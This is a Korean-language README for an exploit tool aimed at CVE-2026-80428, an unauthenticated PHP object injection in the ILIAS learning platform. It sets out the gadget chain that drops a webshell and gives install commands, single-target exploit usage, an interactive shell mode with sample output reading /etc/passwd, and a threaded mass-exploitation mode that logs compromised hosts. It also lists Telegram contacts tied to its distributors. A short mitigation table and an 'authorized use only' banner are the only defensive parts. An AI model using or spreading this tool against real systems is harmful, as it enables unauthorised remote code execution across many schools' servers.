
ILIAS ≤ 9.21 / 10.9 / 11.2 — 인증되지 않은 PHP 객체 주입(RCE)
CVE-2026-80428벡터: Shibboleth 백채널 로그아웃 엔드포인트
영향: 웹 서버 사용자 권한으로 전체 원격 코드 실행
심각도: 🔴 치명적
CVE-2026-80428은 ILIAS 학습 관리 시스템에 영향을 미치는 치명적인 인증되지 않은 PHP 객체 주입 취약점입니다.
ltiauth.php의 세션 포이즈닝 프리미티브와shib_logout.php의 안전하지 않은unserialize()호출을 연쇄적으로 악용함으로써, 공격자는 임의 파일 쓰기를 수행하고 궁극적으로 원격 코드 실행(RCE) 을 달성할 수 있습니다 — 이 모든 것이 인증 없이 가능합니다.
| 🎯 매개변수 | 📋 값 |
|---|---|
| CVE ID | CVE-2026-80428 |
| 유형 | PHP 객체 주입 → RCE |
| 인증 필요 | ❌ 없음 |
| 공격 벡터 | 네트워크 (HTTP/HTTPS) |
| CVSS 점수 | 9.8 (치명적) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
단계별:
ltiauth.php**는 검증 없이 직렬화된 페이로드를 PHP 세션에 저장합니다.shib_logout.php**는 조작된 Shibboleth LogoutNotification SOAP 요청을 처리하고 세션 데이터에 대해 unserialize()를 호출합니다.GuzzleHttp\Cookie\FileCookieJar 가젯이 file_put_contents()를 호출하여 공격자가 제어하는 경로에 PHP 웹셸을 드롭합니다.| 🏷️ 브랜치 | ❌ 취약 | ✅ 패치됨 |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 핵심
|
💎 편의 기능
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
요구 사항:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
옵션:
| 플래그 | 설명 | 기본값 |
|---|---|---|
--port | 대상 포트 | 443 |
--path | 디스크상의 ILIAS docroot | /var/www/ilias/public |
--host-header | 사용자 지정 Host 헤더 | — |
--timeout | 요청 타임아웃 (초) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
옵션:
| 플래그 | 설명 | 기본값 |
|---|---|---|
-l, --list | 필수 — 대상 목록 파일 | — |
-t, --threads | 동시 작업자 수 | 20 |
-o, --output | 취약한 대상의 출력 파일 | ilias_vuln.txt |
--path | ILIAS docroot | /var/www/ilias/public |
--host-header | 사용자 지정 Host 헤더 | — |
--timeout | 요청 타임아웃 (초) | 30 |
targets.txt 파일을 생성하세요:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
지원 형식:
hosthost:porthttp://hosthttps://host:porthost/path (경로 제거됨) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
방어자 및 시스템 관리자용:
| 🛠️ 조치 | 📝 세부 사항 |
|---|---|
| 🔼 ILIAS 업그레이드 | 9.22 / 10.10 / 11.3 이상 |
| 🚫 Shibboleth 비활성화 | 사용하지 않는 경우 — shib_logout.php 제거 |
| 🧱 WAF 규칙 | 잘못된 형식의 SOAP LogoutNotification 페이로드 차단 |
| 📂 쓰기 권한 제한 | 웹 루트는 www-data가 쓸 수 없어야 함 |
| 🔍 모니터링 | 업로드/캐시 디렉터리에서 예상치 못한 .php 파일 탐지 |
| 👤 플랫폼 | 🔗 핸들 |
|---|---|
| 💬 Telegram DM | @HackfutS3c |
| ☁️ ULP Cloud | @ulp_CLOUD1 |
| 📢 채널 1 | t.me/+gsrpvshwGUc5MzI0 |
| 📢 채널 2 | t.me/LinxProdXs404 |
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ⚠️ FOR AUTHORIZED SECURITY TESTING & EDUCATIONAL USE ONLY ⚠️ ║
║ ║
╚══════════════════════════════════════════════════════════════════╝